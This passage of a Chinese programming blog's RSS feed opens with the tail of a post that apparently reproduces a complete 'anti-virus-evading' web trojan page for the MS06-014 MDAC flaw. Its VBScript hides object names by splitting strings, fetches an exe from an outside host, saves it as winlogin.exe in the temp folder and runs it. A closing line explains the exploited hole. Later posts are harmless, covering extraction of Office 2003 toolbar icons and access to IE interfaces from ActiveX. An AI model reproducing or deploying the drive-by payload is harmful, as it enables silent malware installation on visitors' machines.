								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    a4</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">eam</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">str5 = "Adodb.Stream" 分成这么多段是为了掩人耳目</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    str1</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">a1</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">&amp;</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">a2</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">&amp;</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">a3</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">&amp;</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">a4<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    str5</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">str1<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">RDS.DataSpace.CreateObject("Ado#db.Str#eam","")</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">set</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> S </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> df.createobject(str5,</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">""</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">)<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">5455</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    S.type </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">1</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    str6</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">GET</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">Microsoft.XMLHTTP.Open "GET" "ht#tp://ww#w.800vv.com/cc/cj.exe#" False</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">        </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">下载木马</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    x.Open str6, dl, </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">False</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    x.Send<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">本地文件名</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    fname1</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">winlogin.exe</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">888</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">set</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> F </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> df.createobject(</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">Scri#pting.FileSy#stemObject</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">,</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">""</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">)<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">获取临时目录</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">set</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> tmp </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> F.GetSpecialFolder(</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">2</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">) <br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">创建本地文件</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    fname1</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> F.BuildPath(tmp,fname1)<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">Adodb.Stream.open</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    S.open<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">Adodb.Stream.write 木马代码</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    S.write x.responseBody<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">Adodb.Stream.savetofile "临时目录\winlogin.exe"</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    S.savetofile fname1,</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">2</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">6551</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    S.close<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">458</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">set</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> Q </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> df.createobject(</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">Shell.Application</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">,</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">""</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">)<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">运行 临时目录\winlogin.exe</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    Q.ShellExecute fname1,</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">""</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">,</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">""</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">55</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    </span>
				</span>
				<span style="COLOR: #0000ff">&lt;/</span>
				<span style="COLOR: #800000">script</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span style="COLOR: #000000">
						<br />
						<img src="http://www.cppblog.com/images/OutliningIndicators/None.gif" align="top" />    </span>
				<span style="COLOR: #0000ff">&lt;</span>
				<span style="COLOR: #800000">head</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span style="COLOR: #000000">
						<br />
						<img src="http://www.cppblog.com/images/OutliningIndicators/None.gif" align="top" />    </span>
				<span style="COLOR: #0000ff">&lt;</span>
				<span style="COLOR: #800000">title</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span style="COLOR: #000000">icexiaoyeMS06-014免杀网马</span>
				<span style="COLOR: #0000ff">&lt;/</span>
				<span style="COLOR: #800000">title</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span style="COLOR: #000000">
						<br />
						<img src="http://www.cppblog.com/images/OutliningIndicators/None.gif" align="top" />    </span>
				<span style="COLOR: #0000ff">&lt;/</span>
				<span style="COLOR: #800000">head</span>
				<span style="COLOR: #0000ff">&gt;&lt;</span>
				<span style="COLOR: #800000">body</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span style="COLOR: #000000">
						<br />
						<img src="http://www.cppblog.com/images/OutliningIndicators/None.gif" align="top" />    </span>
				<span style="COLOR: #0000ff">&lt;</span>
				<span style="COLOR: #800000">center</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span style="COLOR: #000000">icexiaoyeMS06-014免杀网马</span>
				<span style="COLOR: #0000ff">&lt;/</span>
				<span style="COLOR: #800000">center</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span style="COLOR: #000000">
						<br />
						<img src="http://www.cppblog.com/images/OutliningIndicators/None.gif" align="top" />    </span>
				<span style="COLOR: #0000ff">&lt;/</span>
				<span style="COLOR: #800000">body</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span style="COLOR: #000000">
						<br />
						<img src="http://www.cppblog.com/images/OutliningIndicators/None.gif" align="top" />
						<br />
						<img id="Codehighlighter1_1616_1684_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1616_1684_Open_Text.style.display='none'; Codehighlighter1_1616_1684_Closed_Image.style.display='inline'; Codehighlighter1_1616_1684_Closed_Text.style.display='inline';" src="http://www.cppblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top" />
						<img id="Codehighlighter1_1616_1684_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1616_1684_Closed_Text.style.display='none'; Codehighlighter1_1616_1684_Open_Image.style.display='inline'; Codehighlighter1_1616_1684_Open_Text.style.display='inline';" src="http://www.cppblog.com/images/OutliningIndicators/ContractedBlock.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">&lt;</span>
				<span style="COLOR: #800000">script </span>
				<span style="COLOR: #ff0000">type</span>
				<span style="COLOR: #0000ff">="text/jscript"</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span id="Codehighlighter1_1616_1684_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<img src="http://www.cppblog.com/images/dot.gif" />
				</span>
				<span id="Codehighlighter1_1616_1684_Open_Text">
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img id="Codehighlighter1_1633_1661_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1633_1661_Open_Text.style.display='none'; Codehighlighter1_1633_1661_Closed_Image.style.display='inline'; Codehighlighter1_1633_1661_Closed_Text.style.display='inline';" src="http://www.cppblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
								<img id="Codehighlighter1_1633_1661_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1633_1661_Closed_Text.style.display='none'; Codehighlighter1_1633_1661_Open_Image.style.display='inline'; Codehighlighter1_1633_1661_Open_Text.style.display='inline';" src="http://www.cppblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />
						</span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">function</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> init() </span>
						<span id="Codehighlighter1_1633_1661_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
								<img src="http://www.cppblog.com/images/dot.gif" />
						</span>
						<span id="Codehighlighter1_1633_1661_Open_Text">
								<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">{ <br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />document.write(Date());<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" /><br /><img src="http://www.cppblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />}</span>
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />window.onload </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> init;<br /><img src="http://www.cppblog.com/images/OutliningIndicators/None.gif" align="top" /></span>
				</span>
				<span style="COLOR: #0000ff">&lt;/</span>
				<span style="COLOR: #800000">script</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span style="COLOR: #000000">
						<br />
						<img src="http://www.cppblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">&lt;/</span>
				<span style="COLOR: #800000">html</span>
				<span style="COLOR: #0000ff">&gt;</span>
		</div>一般来说，script是无法写本地文件的。。这段代码利用了Microsoft Data Access Components (MDAC)的一个安全漏洞来写本地文件。<img src ="http://www.cppblog.com/aqazero/aggbug/12944.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2006-09-25 14:18 <a href="http://www.cppblog.com/aqazero/archive/2006/09/25/12944.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>提取Office 2003工具栏图标</title><link>http://www.cppblog.com/aqazero/archive/2006/07/13/9816.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Thu, 13 Jul 2006 09:28:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2006/07/13/9816.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/9816.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2006/07/13/9816.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/9816.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/9816.html</trackback:ping><description><![CDATA[转载自<a href="http://www.citom.com/">http://www.citom.com/</a>论坛<a href="http://www.citom.com/forum/forum_posts.asp?TID=301&amp;PN=1&amp;TPN=1">http://www.citom.com/forum/forum_posts.asp?TID=301&amp;PN=1&amp;TPN=1</a><br /><br />出于对MS Office 2003界面研究的兴趣，最近收集了如何提取Office 2003工具栏图标的相关链接并略加翻译整理，相信对此感兴趣的不止我一个，特此共享。 
<h1>1.为何？</h1><ul><li>界面标准化的最好办法就是与MS保持一致，而Office2003图标非常漂亮并且很完整 
</li><li>现有资源提取工具无法从Office2003相关文件中提取工具栏图标 
</li><li>手工截屏工作量大、尺寸不准确、无法完整保持32位色（8位Alpha通道) </li></ul><h1>2.条件</h1><ul><li>已安装Offfice 2003 
</li><li><a href="/Files/aqazero/F53_extract-office20003-icons.rar">下载提取软件</a></li><li><font color="#ff0000">显示模式设置为32位，切记！</font></li></ul><h1>3.步骤</h1><ol type="a"><li>运行 SaveAlphaIcons.xla<br />如果提示宏被禁用，进入Excel菜单-〉工具-〉宏-〉安全性，把安全级别设为中再次运行并确认启用宏。 
</li><li>按Alt+F11进入"Visual Basic编辑器",然后按F5运行宏即可，运行完成后请到“我的文档"下查看"Office 11.0 Alpha Icons"目录，该目录下应该有2488个.BMP文件，一个文件对应一个图标，每个图标都是16*16大小32位（包括8位Alpha通道),大尺寸图标是通过软件缩放完成的，Office本身没有单独的大图标。 
</li><li>图标合并。把alphahlp.exe和CombineBMPs.vbs拷贝到"Office 11.0 Alpha Icons"目录，继续运行 CombineBMPs.vbs，将会把之前生成的所有小图片合成一个大图片(需要较长时间)，并有.bmp,tif,tga,png等几种格式可供选择，几个文件分别是：Office2003icons.bmp，Office2003icons.png，Office2003icons.tga，Office2003icons.tif，Office2003icons-24bit.png，Office2003icons-alpha.png，其中Office2003icons-alpha.png是仅包含Alpha通道的灰度图像，它与Office2003icons-24bit.png一起是由Office2003icons.png分解而来的，大家可根据具体情况选用。 </li></ol><h1>4.问题</h1><ul><li>怎样查找需要的图标?<br />由于图标数目非常之大、并且尺寸很小，使用资源管理器的缩略图和幻灯片等方式查看都不合适，而合并后的大图每排有50个，共有50排，看起来也是眼花缭乱。因此，要从中挑选合适的图标需要一定的技巧。我的经验是首先通过使用Office2003对大概有哪些图标有个整体了解，其次是使用大图对图标的分布有个大致了解（相关的图标通常在一起），然后可使用ACDSEE的缩略图查看，ACDSEE默认的缩略图尺寸也不适合查看小图标,可在"工具-〉选项-〉文件列表-〉缩略图显示"中设置缩略图大小为40*30 (ACDSEE6.0版本）。 
</li><li>所有图标都在这里了吗?<br />就我所知，所有图标都在这里了。但有时仍然会出现找不到在Office2003界面中见过的图标，这时需要耐心同时要注意有的图标（如左对齐）本身就是黑色的，在查看时会发现很多全黑色的图标，其中可能就有你要的图标。对这类图标可在Photoshop中打开，在通道面板中把Alpha通道显示选中即可看清图标原貌。 </li></ul><h1>5.注意</h1><p>虽然我们热切期望并且微软也应该把这些图标作为开发包的一部分免费发布，这样以利于Windows应用的界面风格统一。但是，目前微软并未许可免费使用。</p><div class="comment_content">Unless Microsoft releases those the icons are copyrighted. So you'd better get a permission to use those before you do. See <a href="http://www.microsoft.com/permission/copyrgt/cop-img.htm" target="_new"><font color="#800080">http://www.microsoft.com/permission/copyrgt/cop-img.htm</font></a>, it says the following: <br /><br />Icons <br />Microsoft does not generally allow the use of our icons in advertising, in books and other printed matter, on clothing or other promotional items, on-line and internet locations, in software applications, in television programs, commercials, movies, or on video tape, as they are NOT to be used as "artwork" or design elements. <br /><br />EXCEPTIONS: Use of our icons is permissible in relation to a training manual or documentation written for and/or about a Microsoft product. In such cases, use of Microsoft icons must be specific to the function of the icon within the Microsoft software, and not used as a graphical element or design for your own purposes. Further, icons cannot be modified or altered and must appear as they would within the Microsoft software.</div><h1>6.相关链接</h1><p>网博士论坛:<a href="http://www.citom.com/forum">http://www.citom.com/forum</a></p><p><a href="http://www.neowin.net/forum/index.php?showtopic=159107&amp;hl=toolbar">http://www.neowin.net/forum/index.php?showtopic=159107&amp;hl=toolbar</a></p><p><a href="http://www.winmatrix.com/forums/index.php?showtopic=1008&amp;st=0">http://www.winmatrix.com/forums/index.php?showtopic=1008&amp;st=0</a></p><img src ="http://www.cppblog.com/aqazero/aggbug/9816.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2006-07-13 17:28 <a href="http://www.cppblog.com/aqazero/archive/2006/07/13/9816.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Activex和ie 浏览器的互动</title><link>http://www.cppblog.com/aqazero/archive/2005/12/30/14186.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Fri, 30 Dec 2005 09:51:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2005/12/30/14186.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/14186.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2005/12/30/14186.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/14186.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/14186.html</trackback:ping><description><![CDATA[
		<p>今天中午看到一个电子签名的软件。一看，惊艳！<br />activex控件直接读取html元素的值，比如&lt;input type="text"&gt;&lt;/input&gt;<br /><br />实在是牛啊！俺一开始以为是用javascript来做的.查看了例子的源代码后发现不是.<br /><br />那么这个acitvex控件至少应该可以获得ie 浏览器的接口IWebBrowser2,但它是怎么做的呢?<br /><br />一开始我的思路是:ie浏览器作为一个容器,它是否同时实现了IOleContainer和IWebBrowser2?试验发现不对...经过多方google,找到CSDN中shanhe的专栏<a href="http://blog.csdn.net/shanhe/category/15859.aspx?PageNumber=2">http://blog.csdn.net/shanhe/category/15859.aspx?PageNumber=2</a><br />找到可行的代码如下:</p>
		<p>IOleContainer* pContainer;<br />HRESULT hr = m_pClientSite-&gt;GetContainer(&amp;pContainer);<br />if (FAILED(hr))<br />    return hr;</p>
		<p>IServiceProvider* pServiceProvider;<br />hr = pContainer-&gt;QueryInterface(IID_IServiceProvider,<br />                                (void**)&amp;pServiceProvider);<br />pContainer-&gt;Release();<br />if (FAILED(hr))<br />    return hr;</p>
		<p>IWebBrowser2* pWebBrowser;<br />hr = pServiceProvider-&gt;QueryService(SID_SWebBrowserApp,<br />                           IID_IWebBrowser2,<br />                           (void**)&amp;pWebBrowser);<br />pServiceProvider-&gt;Release();<br />if (FAILED(hr))<br />    return hr;<br /><br />可以获取了IWebBrowser2接口,但如何读取html元素的值呢?IWebBrowser2接口似乎没有这个功能?<br /><br />又是千山万水的google:<br />vckbase:<br /><a href="http://vckbase.net/document/viewdoc/?id=1446">http://vckbase.net/document/viewdoc/?id=1446</a><br />codeguru:<br /><a href="http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/">http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/</a><a href="http://tech.163.com/05/0420/13/1HPMEUVJ00091589.html http://vckbase.net/document/viewdoc/?id=1446http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/"><br /></a></p>
		<a href="/Raistlin/images/cnitblog_com/raistlin/iehtmlelement.jpg">
		</a>
		<p>
				<a href="/images/cnitblog_com/raistlin/iehtmlelement.jpg" target="_blank">
						<img height="193" alt="iehtmlelement.jpg" src="http://www.cnitblog.com/images/cnitblog_com/raistlin/iehtmlelement.jpg" width="400" border="0" /> </a>
				<br />
				<br />
				<br />msdn 2003 :<br />MSHTML ReferenceHOWTO: Get the WebBrowser Object Model of an HTML Frame<br />HOWTO: Retrieve the URL of a Web Page from an ActiveX Control</p>
		<p>msdn关于MSHTML的参考也够烂，列出一堆接口方法就不管了。究竟结构如何要自己去研究。总之很是不爽。</p>
